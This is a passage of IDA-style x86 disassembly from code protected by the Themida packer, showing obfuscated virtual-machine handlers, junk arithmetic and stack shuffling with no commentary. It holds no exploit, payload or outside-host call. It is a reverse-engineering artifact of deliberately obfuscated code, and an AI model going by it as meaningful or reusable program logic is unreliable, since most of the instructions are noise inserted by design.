loc_54DD5A: ; CODE XREF: Themida_:0054F4B4j
xchg esi, edx
not esi
xchg esi, edx
xor esi, edx
xor edx, esi
xor esi, edx
xchg eax, esi
push 63BDh
mov [esp], ebx
mov ebx, 1
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
jmp loc_5465DA
; ---------------------------------------------------------------------------
loc_54DD81: ; CODE XREF: Themida_:0054DB38j
mov [esp], edx
jmp loc_549578
; ---------------------------------------------------------------------------
loc_54DD89: ; CODE XREF: Themida_:00548AE3j
mov [esp], ecx
jmp loc_548576
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push edx
mov edx, esp
jmp loc_54FCFB
; ---------------------------------------------------------------------------
loc_54DD9D: ; CODE XREF: Themida_:0054BEE7j
sub ecx, 45222330h
jmp loc_549AC2
; ---------------------------------------------------------------------------
loc_54DDA8: ; CODE XREF: Themida_:0054C6EBj
pop edx
pop ebx
push eax
mov eax, 4
jmp loc_5445EA
; ---------------------------------------------------------------------------
loc_54DDB5: ; CODE XREF: Themida_:0054B147j
add esp, 4
sub ebx, 0A706410Eh
add esi, ebx
pop ebx
jmp loc_54BC33
; ---------------------------------------------------------------------------
loc_54DDC9: ; CODE XREF: Themida_:00547F68j
sub al, ch
pop ecx
add al, 57h
jmp loc_54FFE8
; ---------------------------------------------------------------------------
loc_54DDD3: ; CODE XREF: Themida_:00549CD4j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
or eax, eax
jz loc_54AFF4
push 53EEh
mov [esp], edx
push 1Ch
jmp loc_5479EB
; ---------------------------------------------------------------------------
loc_54DDFC: ; CODE XREF: Themida_:0054F1ACj
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_54A462
; ---------------------------------------------------------------------------
loc_54DE0E: ; CODE XREF: Themida_:00547A4Fj
pop ebx
jmp loc_544DCE
; ---------------------------------------------------------------------------
loc_54DE14: ; CODE XREF: Themida_:0054D674j
sub ecx, 274E2A5Ah
pop edi
jmp loc_54AA54
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54DE28: ; CODE XREF: Themida_:00549F5Cj
mov ecx, 4B7656F6h
jmp loc_54C60C
; ---------------------------------------------------------------------------
loc_54DE32: ; CODE XREF: Themida_:00548031j
mov ebx, 3D36853h
xor ebx, 77275FB3h
sub ebx, 6AC8FB9Dh
push ecx
jmp loc_54F9A7
; ---------------------------------------------------------------------------
loc_54DE49: ; CODE XREF: Themida_:005454D2j
push esi
mov esi, 6E591221h
and esi, 1B3C0D33h
and esi, 5F9C1C6Eh
add esi, 9737A18h
jmp loc_54ABD7
; ---------------------------------------------------------------------------
loc_54DE66: ; CODE XREF: Themida_:0054F55Cj
pop edi
add eax, 744C5BE3h
jmp loc_544953
; ---------------------------------------------------------------------------
loc_54DE71: ; CODE XREF: Themida_:00546C99j
push dword ptr [esp]
pop edx
add esp, 4
or al, 1Fh
sub al, 0D6h
jmp loc_548D49
; ---------------------------------------------------------------------------
loc_54DE81: ; CODE XREF: Themida_:005454B0j
sub al, dl
pop edx
pop ecx
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push edx
mov edx, 7D5788Ah
sub dword ptr [esp+4], 0DB3656Dh
add [esp+4], edx
add dword ptr [esp+4], 0DB3656Dh
push dword ptr [esp]
jmp loc_54F0F9
; ---------------------------------------------------------------------------
loc_54DEAF: ; CODE XREF: Themida_:005441DAj
pop edx
push ebp
sub esp, 4
mov [esp], ebx
mov ebx, 2
push ebx
add dword ptr [esp], 28C51628h
pop ebp
push ecx
mov ecx, 28C51628h
sub ebp, 39C9724Eh
jmp loc_545743
; ---------------------------------------------------------------------------
loc_54DED9: ; CODE XREF: Themida_:0054C890j
neg edi
jmp loc_547BBD
; ---------------------------------------------------------------------------
loc_54DEE0: ; CODE XREF: Themida_:005485C7j
mov edx, 196E72E0h
or edi, edx
pop edx
add edi, 0FFC1CFBFh
sub ebx, edi
mov edi, [esp]
jmp loc_549E16
; ---------------------------------------------------------------------------
loc_54DEF8: ; CODE XREF: Themida_:005463CBj
pop ebp
add esp, 4
add [esp], eax
jmp loc_54D287
; ---------------------------------------------------------------------------
loc_54DF07: ; CODE XREF: Themida_:00547E3Bj
sub eax, ebp
jmp loc_5441B4
; ---------------------------------------------------------------------------
loc_54DF0E: ; CODE XREF: Themida_:0054C65Aj
add ecx, 4
jmp loc_548B6D
; ---------------------------------------------------------------------------
loc_54DF19: ; CODE XREF: Themida_:0054D56Dj
pop ebx
push edx
push ebx
mov bh, 1Ch
and bh, 9Ch
shr bh, 8
neg bh
add bh, 0DDh
mov dh, bh
pop ebx
sub dh, 20h
sub al, dh
pop edx
mov dl, al
pop eax
jmp loc_549571
; ---------------------------------------------------------------------------
loc_54DF3A: ; CODE XREF: Themida_:0054B9A3j
push 22F3h
mov [esp], ebx
mov ebx, 437F103Dh
and ebx, 164E35C7h
jmp loc_54BB76
; ---------------------------------------------------------------------------
loc_54DF52: ; CODE XREF: Themida_:00547D22j
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
mov esi, esp
sub esp, 4
mov [esp], eax
jmp loc_54595C
; ---------------------------------------------------------------------------
loc_54DF6C: ; CODE XREF: Themida_:0054ADD5j
mov [esp], ecx
jmp loc_548E49
; ---------------------------------------------------------------------------
loc_54DF74: ; CODE XREF: Themida_:0054F12Cj
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_547A69
; ---------------------------------------------------------------------------
loc_54DF83: ; CODE XREF: Themida_:00546012j
shl eax, cl
jmp loc_54BA60
; ---------------------------------------------------------------------------
loc_54DF8A: ; CODE XREF: Themida_:00547222j
add ebp, 0D3A0D89h
mov esi, ebp
pop ebp
inc esi
jmp loc_54C314
; ---------------------------------------------------------------------------
loc_54DF99: ; CODE XREF: Themida_:0054864Fj
push ecx
push eax
mov eax, 0
mov ecx, eax
pop eax
add ecx, 27C97E85h
add ecx, edx
sub ecx, 27C97E85h
push ebx
mov ebx, 0
add ebx, ecx
jmp loc_54CDA6
; ---------------------------------------------------------------------------
loc_54DFBE: ; CODE XREF: Themida_:0054C8EBj
mov eax, 2
add ecx, eax
jmp loc_5468D7
; ---------------------------------------------------------------------------
loc_54DFCA: ; CODE XREF: Themida_:00546AA1j
mov dl, 7Ah
push 66B9h
mov [esp], ebx
jmp loc_546A51
; ---------------------------------------------------------------------------
loc_54DFD9: ; CODE XREF: Themida_:0054A0FEj
and ecx, 33025FCh
push edx
mov edx, 384D5DE0h
jmp loc_5498E9
; ---------------------------------------------------------------------------
loc_54DFEA: ; CODE XREF: Themida_:00545838j
pop ebp
jmp loc_54C9C9
; ---------------------------------------------------------------------------
loc_54DFF0: ; CODE XREF: Themida_:0054CBF3j
sub eax, edi
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_54AD4F
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E00B: ; CODE XREF: Themida_:00548727j
push 3EF95096h
jmp loc_54818B
; ---------------------------------------------------------------------------
loc_54E015: ; CODE XREF: Themida_:00549110j
push edx
mov edx, 7ADF321Fh
sub edx, 53A47085h
shr edx, 6
add edx, 35C44536h
or edx, 3EE31663h
and edx, 4CD244FEh
sub edx, 0A6FDAAF1h
add ecx, 32F473F6h
jmp loc_54F576
; ---------------------------------------------------------------------------
loc_54E047: ; CODE XREF: Themida_:005492A9j
pop ebp
mov ebx, [esp]
jmp loc_54A97F
; ---------------------------------------------------------------------------
loc_54E050: ; CODE XREF: Themida_:00546BBAj
add esp, 4
pop edx
push 72C7h
jmp loc_5483DD
; ---------------------------------------------------------------------------
dw 4ACh
dd 90BEE9F2h, 8B66FFFFh
; ---------------------------------------------------------------------------
add al, 24h
push ebp
mov ebp, esp
push edx
push eax
mov eax, 62081B9Ah
inc eax
not eax
inc eax
dec eax
add eax, 62081BA0h
mov edx, eax
pop eax
sub ebp, 34CD5FDFh
add ebp, edx
add ebp, 34CD5FDFh
pop edx
push ebx
sub esp, 4
mov [esp], edi
jmp loc_5447E1
; ---------------------------------------------------------------------------
loc_54E09F: ; CODE XREF: Themida_:00544589j
xor ecx, eax
pop eax
shr ecx, 6
shr ecx, 3
shl ecx, 5
inc ecx
add ecx, 3F252911h
and ecx, 4D2955F6h
shr ecx, 4
push edi
mov edi, 2C350F14h
push eax
push ebx
mov ebx, 79727983h
inc ebx
push ebp
jmp loc_54F926
; ---------------------------------------------------------------------------
loc_54E0CF: ; CODE XREF: Themida_:005493E5j
mov [esp], eax
mov eax, 2
jmp loc_55002A
; ---------------------------------------------------------------------------
loc_54E0DC: ; CODE XREF: Themida_:0054A82Cj
pop dword ptr [esp]
push esi
push edx
mov edx, 4
mov esi, edx
mov edx, [esp]
add esp, 4
jmp loc_549AAE
; ---------------------------------------------------------------------------
loc_54E0F6: ; CODE XREF: Themida_:00546670j
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_54BC9B
; ---------------------------------------------------------------------------
loc_54E107: ; CODE XREF: Themida_:00546BCAj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_547373
; ---------------------------------------------------------------------------
loc_54E115: ; CODE XREF: Themida_:0054F910j
xor eax, 5853C49Eh
xor ebp, eax
pop eax
add ebx, ebp
pop ebp
push eax
mov eax, 4
add ebx, eax
jmp loc_5456F2
; ---------------------------------------------------------------------------
loc_54E12D: ; CODE XREF: Themida_:00549661j
push ebp
mov ebp, 30B533B9h
push eax
mov eax, 33E33CBCh
shr eax, 6
jmp loc_54D4B2
; ---------------------------------------------------------------------------
loc_54E141: ; CODE XREF: Themida_:00547547j
mov edx, 0EF56BD3h
jmp loc_54769F
; ---------------------------------------------------------------------------
loc_54E14B: ; CODE XREF: Themida_:00544F65j
add esp, 4
sub eax, esi
mov esi, [esp]
add esp, 4
sub eax, 7A064879h
add eax, edi
push edi
mov edi, 7A064879h
add eax, edi
jmp loc_54632B
; ---------------------------------------------------------------------------
loc_54E16D: ; CODE XREF: Themida_:0054B3E7j
pop esp
jmp loc_5475EB
; ---------------------------------------------------------------------------
loc_54E173: ; CODE XREF: Themida_:00548AF7j
add edx, esi
mov esi, [esp]
add esp, 4
sub edx, 4
xor edx, [esp]
jmp loc_54BC0A
; ---------------------------------------------------------------------------
loc_54E18C: ; CODE XREF: Themida_:00546340j
pop edi
jmp loc_54BCCD
; ---------------------------------------------------------------------------
loc_54E192: ; CODE XREF: Themida_:0054C672j
mov [esp], ebx
push edx
mov edx, 4DEB0DEBh
jmp loc_54D5AA
; ---------------------------------------------------------------------------
loc_54E1A0: ; CODE XREF: Themida_:0054560Fj
shr ecx, 3
shl ecx, 6
and ecx, 6C980ACAh
inc ecx
not ecx
add ecx, 72F11CBAh
sub ebx, ecx
pop ecx
push ebp
mov ebp, 602A7289h
add ebx, ebp
mov ebp, [esp]
add esp, 4
xor edx, eax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E1D0: ; CODE XREF: Themida_:0054DC65j
sub ecx, edx
pop edx
push ebp
jmp loc_54D18B
; ---------------------------------------------------------------------------
loc_54E1D9: ; CODE XREF: Themida_:00547D65j
mov ebx, ecx
pop ecx
sub esp, 4
mov [esp], edx
push edi
jmp loc_5473FD
; ---------------------------------------------------------------------------
loc_54E1EB: ; CODE XREF: Themida_:0054871Ej
not ecx
xchg ebx, ecx
not ebx
xchg ebx, ecx
sub esp, 4
mov [esp], ecx
not dword ptr [esp]
jmp loc_549330
; ---------------------------------------------------------------------------
loc_54E201: ; CODE XREF: Themida_:00547B89j
mov [esp], edx
sub esp, 4
jmp loc_54AFFB
; ---------------------------------------------------------------------------
loc_54E20F: ; CODE XREF: Themida_:005481A4j
sub esi, 57A5048Eh
jmp loc_54C98D
; ---------------------------------------------------------------------------
loc_54E21A: ; CODE XREF: Themida_:00547F72j
add eax, ecx
jmp loc_54E829
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
jmp loc_54525B
; ---------------------------------------------------------------------------
loc_54E22A: ; CODE XREF: Themida_:0054AC6Bj
neg ecx
xor ecx, 50D6141Ah
mov edi, ecx
pop ecx
neg edi
shl edi, 1
shl edi, 1
jmp loc_54D98A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E24F: ; CODE XREF: Themida_:0054B3CBj
sub bl, 3Bh
movzx eax, al
lea eax, [edi+eax*4]
push 59BAh
mov [esp], eax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E265: ; CODE XREF: Themida_:0054ABBEj
sub edi, 414C77DDh
and edi, 2D46553Ah
jmp loc_545D13
; ---------------------------------------------------------------------------
loc_54E276: ; CODE XREF: Themida_:00547F2Fj
pop esi
pop dword ptr [esp]
pop esp
btr [esp], ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E286: ; CODE XREF: Themida_:00545242j
xor [esp], ebp
jmp loc_54D7F1
; ---------------------------------------------------------------------------
loc_54E28E: ; CODE XREF: Themida_:00549AA0j
push eax
mov eax, 4
add ebp, 37D561A7h
jmp loc_54935B
; ---------------------------------------------------------------------------
loc_54E29F: ; CODE XREF: Themida_:0054BCC8j
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push 27D7h
mov [esp], eax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E2C4: ; CODE XREF: Themida_:0054C0A4j
push esi
mov esi, 4
sub ebp, 20E939E0h
add ebp, esi
jmp loc_54BA67
; ---------------------------------------------------------------------------
loc_54E2D7: ; CODE XREF: Themida_:0054BDE6j
sub eax, 0DC47A26Eh
and ecx, eax
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp]
jmp loc_545704
; ---------------------------------------------------------------------------
loc_54E2F7: ; CODE XREF: Themida_:0054441Cj
sub ebp, 0C699B1Ah
jmp loc_54C93C
; ---------------------------------------------------------------------------
loc_54E302: ; CODE XREF: Themida_:0054706Dj
dec edi
and edi, 7CFA6349h
dec edi
add edi, 97BFBEBAh
push edi
sub dword ptr [esp], offset byte_4A049D
pop ecx
jmp loc_5498B7
; ---------------------------------------------------------------------------
loc_54E31E: ; CODE XREF: Themida_:0054FA36j
mov ebx, 6BC95493h
and ebx, 72EC336Fh
add ebx, 0BC1B022Eh
add edx, ebx
pop ebx
push 4D61h
mov [esp], esi
mov esi, 29B67644h
jmp loc_5481A9
; ---------------------------------------------------------------------------
loc_54E344: ; CODE XREF: Themida_:0054AABBj
mov eax, 2
add ebp, eax
push dword ptr [esp]
jmp loc_54FC79
; ---------------------------------------------------------------------------
loc_54E353: ; CODE XREF: Themida_:005483D8j
pop edx
add eax, 9577D01h
add eax, edi
sub eax, 9577D01h
sub eax, 592F29A5h
jmp loc_548BE5
; ---------------------------------------------------------------------------
loc_54E36A: ; CODE XREF: Themida_:005451CAj
mov ebp, edi
mov edi, [esp]
add esp, 4
sub ecx, ebp
jmp loc_545331
; ---------------------------------------------------------------------------
loc_54E37C: ; CODE XREF: Themida_:005495C1j
shl edx, 1
push 40BAh
mov [esp], ebp
mov ebp, 524E1B4Eh
xchg eax, ebp
not eax
jmp loc_54B912
; ---------------------------------------------------------------------------
loc_54E393: ; CODE XREF: Themida_:00549197j
add edi, 38A0338Fh
push eax
push edi
jmp loc_5474FA
; ---------------------------------------------------------------------------
loc_54E3A0: ; CODE XREF: Themida_:005452CEj
mov esp, [esp]
mov [esp], ecx
push ebx
mov bl, 8Bh
mov cl, 0C6h
jmp loc_54EE25
; ---------------------------------------------------------------------------
loc_54E3B0: ; CODE XREF: Themida_:0054FE73j
add esi, ebp
add esi, 5732257Dh
pop ebp
push ebp
mov ebp, 2
add esi, ebp
pop ebp
push 133Eh
mov [esp], esi
push dword ptr [esp+4]
jmp loc_54AFC9
; ---------------------------------------------------------------------------
lodsd
jmp loc_547CC6
; ---------------------------------------------------------------------------
loc_54E3D9: ; CODE XREF: Themida_:0054B998j
pop esi
pop ebp
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E3E0: ; CODE XREF: Themida_:0054FBB8j
popa
retn
; ---------------------------------------------------------------------------
jmp loc_547053
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E3F6: ; CODE XREF: Themida_:0054FD01j
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, esp
push 5FB8h
mov [esp], edx
mov edx, 4
add ebx, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 4
add ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
xor [esp], eax
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E439: ; CODE XREF: Themida_:0054F0AAj
sub eax, ebp
jmp loc_546C1D
; ---------------------------------------------------------------------------
loc_54E440: ; CODE XREF: Themida_:0054D749j
mov ecx, 69C36736h
add ebx, ecx
jmp loc_548093
; ---------------------------------------------------------------------------
loc_54E44C: ; CODE XREF: Themida_:0054C0FDj
sub ebx, 602A7289h
jmp loc_54FA4E
; ---------------------------------------------------------------------------
loc_54E457: ; CODE XREF: Themida_:00547E2Aj
add word ptr [esp], 1
pop bx
sub bx, 6858h
jmp loc_5459E2
; ---------------------------------------------------------------------------
loc_54E468: ; CODE XREF: Themida_:0054D3E8j
mov edx, [esp]
add esp, 4
add edx, ecx
pop ecx
or [edi+1Ch], edx
pop edx
jmp loc_548C20
; ---------------------------------------------------------------------------
loc_54E47D: ; CODE XREF: Themida_:0054A571j
add eax, edi
pop edi
push edi
jmp loc_54C885
; ---------------------------------------------------------------------------
loc_54E486: ; CODE XREF: Themida_:0054531Cj
add esp, 4
add esp, 4
and edx, 3A2E2EA4h
shl edx, 8
xor edx, 56FBA034h
mov edi, edx
jmp loc_54EE2F
; ---------------------------------------------------------------------------
loc_54E4A8: ; CODE XREF: Themida_:0054FC08j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_548644
; ---------------------------------------------------------------------------
loc_54E4BB: ; CODE XREF: Themida_:005449A3j
pop edx
push 71B2h
mov [esp], edi
push eax
push 19B57A6Ah
pop eax
push eax
jmp loc_54F414
; ---------------------------------------------------------------------------
loc_54E4D1: ; CODE XREF: Themida_:00548928j
mov esp, [esp]
add ebx, 4
push edi
jmp loc_5489E8
; ---------------------------------------------------------------------------
loc_54E4E0: ; CODE XREF: Themida_:00544EE0j
neg ebx
not ebx
shr ebx, 5
add ebx, 3412BDE6h
mov edx, ebx
jmp loc_54474D
; ---------------------------------------------------------------------------
loc_54E4F4: ; CODE XREF: Themida_:0054629Fj
add edi, 59345F11h
jmp loc_54ABEB
; ---------------------------------------------------------------------------
loc_54E4FF: ; CODE XREF: Themida_:0054421Dj
sub al, 0D0h
sub al, dl
add al, 0D0h
mov edx, [esp]
add esp, 4
add al, 69h
sub al, dh
sub al, 69h
add al, 0E6h
jmp loc_54F131
; ---------------------------------------------------------------------------
loc_54E518: ; CODE XREF: Themida_:0054A6A5j
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54E524: ; CODE XREF: Themida_:0054FDB1j
add ecx, edx
pop edx
add ecx, 4
push 2EF0h
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_548F0A
; ---------------------------------------------------------------------------
loc_54E53E: ; CODE XREF: Themida_:00548B73j
xchg ecx, [esp]
jmp loc_545A97
; ---------------------------------------------------------------------------
loc_54E546: ; CODE XREF: Themida_:0054A5CDj
mov eax, 4
jmp loc_54ED13
; ---------------------------------------------------------------------------
loc_54E550: ; CODE XREF: Themida_:0054B8D8j
sub edi, eax
mov eax, [esp]
add esp, 4
add ecx, edi
jmp loc_54FA13
; ---------------------------------------------------------------------------
loc_54E562: ; CODE XREF: Themida_:0054B474j
mov [esp], esi
mov esi, 0
mov ebx, esi
jmp loc_5471A0
; ---------------------------------------------------------------------------
loc_54E571: ; CODE XREF: Themida_:0054943Bj
pop ebp
add eax, edi
mov edi, [esp]
add esp, 4
add eax, 2
jmp loc_54A69C
; ---------------------------------------------------------------------------
loc_54E585: ; CODE XREF: Themida_:005483BFj
push 55FCh
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push ebx
mov ebx, 4
add ecx, ebx
jmp loc_54D4DA
; ---------------------------------------------------------------------------
loc_54E5A2: ; CODE XREF: Themida_:00544863j
mov eax, 55934F92h
not eax
push edi
mov edi, 9E20583Fh
add eax, edi
pop edi
jmp loc_54D769
; ---------------------------------------------------------------------------
loc_54E5B7: ; CODE XREF: Themida_:0054BD78j
add esp, 4
push ebp
mov ebp, 4
sub edx, ebp
pop ebp
push edx
push dword ptr [esp+4]
jmp loc_545FA9
; ---------------------------------------------------------------------------
loc_54E5D0: ; CODE XREF: Themida_:0054EEBFj
mov [esp], ebp
jmp loc_54A4C9
; ---------------------------------------------------------------------------
loc_54E5D8: ; CODE XREF: Themida_:0054B81Bj
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_546574
; ---------------------------------------------------------------------------
loc_54E5EF: ; CODE XREF: Themida_:00545231j
push 7283339Ah
pop ebx
and ebx, 6F657508h
inc ebx
sub ebx, 0C67C653h
jmp loc_5446DF
; ---------------------------------------------------------------------------
loc_54E607: ; CODE XREF: Themida_:0054CF1Fj
push ebp
jmp loc_54D4BD
; ---------------------------------------------------------------------------
loc_54E60D: ; CODE XREF: Themida_:0054D1D8j
mov eax, 4
add ebp, eax
mov eax, [esp]
add esp, 4
add ebp, 4
jmp loc_54D759
; ---------------------------------------------------------------------------
loc_54E625: ; CODE XREF: Themida_:0054BA3Bj
mov [esp], edx
push esi
mov esi, 0BBD61FAh
xor esi, 790B7ECBh
jmp loc_548D67
; ---------------------------------------------------------------------------
loc_54E639: ; CODE XREF: Themida_:00548AB5j
xor ebp, [esp]
mov esp, [esp]
mov ax, [esp]
push esi
push esp
mov esi, [esp]
jmp loc_54B499
; ---------------------------------------------------------------------------
loc_54E64D: ; CODE XREF: Themida_:0054F6EEj
mov [esp], edi
mov edi, 29381003h
jmp loc_5479D3
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
jmp loc_54A384
; ---------------------------------------------------------------------------
push small 0EB2h
mov [esp], sp
sub esp, 4
mov [esp], edx
jmp loc_5458DC
; ---------------------------------------------------------------------------
loc_54E67E: ; CODE XREF: Themida_:0054B8C9j
mov edx, 294903E3h
mov ebx, 23F733E1h
add ebx, edx
mov edx, [esp]
add esp, 4
mov edi, 0EB5C0EA4h
add edi, ebx
pop ebx
shl edi, 7
and edi, 62F04CCBh
push edx
mov edx, 27EE4A96h
jmp loc_549832
; ---------------------------------------------------------------------------
loc_54E6AC: ; CODE XREF: Themida_:0054E778j
push ecx
mov ecx, 540A635Bh
add ecx, 6217330Eh
add ecx, 6344A59Ch
jmp loc_545B0B
; ---------------------------------------------------------------------------
loc_54E6C3: ; CODE XREF: Themida_:00544C21j
pop ebx
pop edx
push ecx
push ebx
pop ecx
pop ebx
push ecx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_549D8A
; ---------------------------------------------------------------------------
loc_54E6D6: ; CODE XREF: Themida_:00545C0Bj
push edi
jmp loc_5452EE
; ---------------------------------------------------------------------------
loc_54E6DC: ; CODE XREF: Themida_:00548F8Cj
mov ecx, 89597ABFh
mov eax, ecx
pop ecx
sub ebp, eax
pop eax
sub [edi+24h], ebp
pop ebp
loc_54E6EB: ; CODE XREF: Themida_:0054E99Dj
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
pop eax
push 11EEh
mov [esp], edx
jmp loc_54DC8D
; ---------------------------------------------------------------------------
loc_54E712: ; CODE XREF: Themida_:0054FBDCj
sub esi, 4
jmp loc_54FF21
; ---------------------------------------------------------------------------
loc_54E71A: ; CODE XREF: Themida_:00546AFBj
push 42A4h
jmp loc_54EBB9
; ---------------------------------------------------------------------------
loc_54E724: ; CODE XREF: Themida_:00546313j
inc edx
shr edx, 5
xor edx, 0BD29002h
jmp loc_54AF8B
; ---------------------------------------------------------------------------
loc_54E733: ; CODE XREF: Themida_:00547308j
push edx
mov dh, 65h
add al, dh
pop edx
sub al, bl
push cx
push edx
mov dl, 65h
mov ch, dl
jmp loc_54D434
; ---------------------------------------------------------------------------
mov cx, [esp]
push 650Ch
jmp loc_54AA94
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ecx
mov ecx, esp
push edx
jmp loc_54DA59
; ---------------------------------------------------------------------------
loc_54E761: ; CODE XREF: Themida_:005442DAj
add dword ptr [esp], 4
pop ebx
push ecx
mov ecx, 29AF2370h
and ecx, 39FA415Ah
sub ecx, 29AA014Ch
jmp loc_54E6AC
; ---------------------------------------------------------------------------
loc_54E77D: ; CODE XREF: Themida_:0054C977j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_549633
; ---------------------------------------------------------------------------
loc_54E7B5: ; CODE XREF: Themida_:005489E3j
mov esp, [esp]
mov dx, [esp]
push ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
jmp loc_54571B
; ---------------------------------------------------------------------------
loc_54E7D6: ; CODE XREF: Themida_:00549337j
sub ecx, ebp
pop ebp
sub esp, 4
mov [esp], edi
mov edi, ecx
push ecx
mov ecx, 30h
add ecx, edx
push eax
mov eax, edi
push ebx
jmp loc_54EAAC
; ---------------------------------------------------------------------------
loc_54E7F2: ; CODE XREF: Themida_:00545208j
mov esi, 5AF115A7h
sub esi, 592B3410h
dec esi
sub esi, 8CC21DAh
inc esi
jmp loc_54A4BE
; ---------------------------------------------------------------------------
loc_54E80A: ; CODE XREF: Themida_:0054487Ej
mov [esp], bp
push small word ptr [esp+2]
mov bp, [esp]
push eax
jmp loc_5485FE
; ---------------------------------------------------------------------------
loc_54E81D: ; CODE XREF: Themida_:0054A1D4j
pop esp
mov [esp], edx
push edi
mov edi, esp
jmp loc_54541F
; ---------------------------------------------------------------------------
loc_54E829: ; CODE XREF: Themida_:0054E21Cj
add eax, 7F3F41DCh
jmp loc_5461A1
; ---------------------------------------------------------------------------
loc_54E833: ; CODE XREF: Themida_:0054A300j
pop esp
shr ecx, 6
push eax
mov eax, esp
push 7BCAh
mov [esp], edx
push ebx
push 319B1A42h
pop ebx
mov edx, 0DEEFF442h
sub edx, 327808B6h
add edx, ebx
add edx, 327808B6h
jmp loc_546003
; ---------------------------------------------------------------------------
loc_54E861: ; CODE XREF: Themida_:00547C35j
push edi
push ebx
mov ebx, 3B5550E3h
add ebx, 22F97772h
push esi
mov esi, 28B66AF2h
dec esi
neg esi
and esi, 616112D8h
add esi, 0CD744DD2h
or ebx, esi
pop esi
shl ebx, 2
shr ebx, 6
sub ebx, 0A122BACh
push ebp
mov ebp, 0AE869E9h
xor ebp, 898836ECh
add ebx, ebp
jmp loc_54CC5A
; ---------------------------------------------------------------------------
loc_54E8A5: ; CODE XREF: Themida_:005496AEj
pop dword ptr [esp]
pop esp
mov edx, [esp]
push ecx
push esp
jmp loc_546612
; ---------------------------------------------------------------------------
loc_54E8B3: ; CODE XREF: Themida_:00545D73j
mov si, 3B62h
not si
jmp loc_54F041
; ---------------------------------------------------------------------------
loc_54E8BF: ; CODE XREF: Themida_:0054483Fj
mov [esp], esp
push edx
mov edx, 4
add [esp+4], edx
jmp loc_54F73F
; ---------------------------------------------------------------------------
loc_54E8D1: ; CODE XREF: Themida_:0054C276j
xchg ebx, [esp]
jmp loc_548FE5
; ---------------------------------------------------------------------------
loc_54E8D9: ; CODE XREF: Themida_:0054D3F9j
sub esi, 11113DD3h
push edi
mov edi, 239B270Fh
inc edi
xchg ebp, edi
inc ebp
xchg ebp, edi
and edi, 589806B6h
xor edi, 76421D14h
or esi, edi
pop edi
dec esi
xor esi, 1F4376ABh
mov ecx, esi
pop esi
push 7648h
mov [esp], esi
push 13D66223h
pop esi
or esi, 346C32EDh
shl esi, 2
push edx
mov edx, 2B0D239Ah
shl edx, 8
not edx
xor edx, 10965E68h
dec edx
add edx, 9BF24675h
jmp loc_54DBD7
; ---------------------------------------------------------------------------
loc_54E938: ; CODE XREF: Themida_:005464F0j
push ebx
mov ebx, esp
push edx
mov edx, 1AE332Ch
jmp loc_54B2F7
; ---------------------------------------------------------------------------
loc_54E946: ; CODE XREF: Themida_:0054B480j
add esp, 4
jmp loc_5448E3
; ---------------------------------------------------------------------------
loc_54E951: ; CODE XREF: Themida_:0054F538j
mov edx, 5A612724h
dec edx
not edx
and edx, 6C0707FFh
add edx, 1FB36698h
jmp loc_54D63D
; ---------------------------------------------------------------------------
loc_54E96A: ; CODE XREF: Themida_:0054FB31j
add dword ptr [esp+4], 14BA506Ah
jmp loc_548945
; ---------------------------------------------------------------------------
loc_54E977: ; CODE XREF: Themida_:00546493j
push ecx
mov ecx, 1CB270F3h
jmp loc_547F6D
; ---------------------------------------------------------------------------
loc_54E982: ; CODE XREF: Themida_:00547717j
mov ecx, 4
add [esp+4], ecx
jmp loc_54CDE7
; ---------------------------------------------------------------------------
loc_54E990: ; CODE XREF: Themida_:00544ED1j
pop edi
add ebp, 4
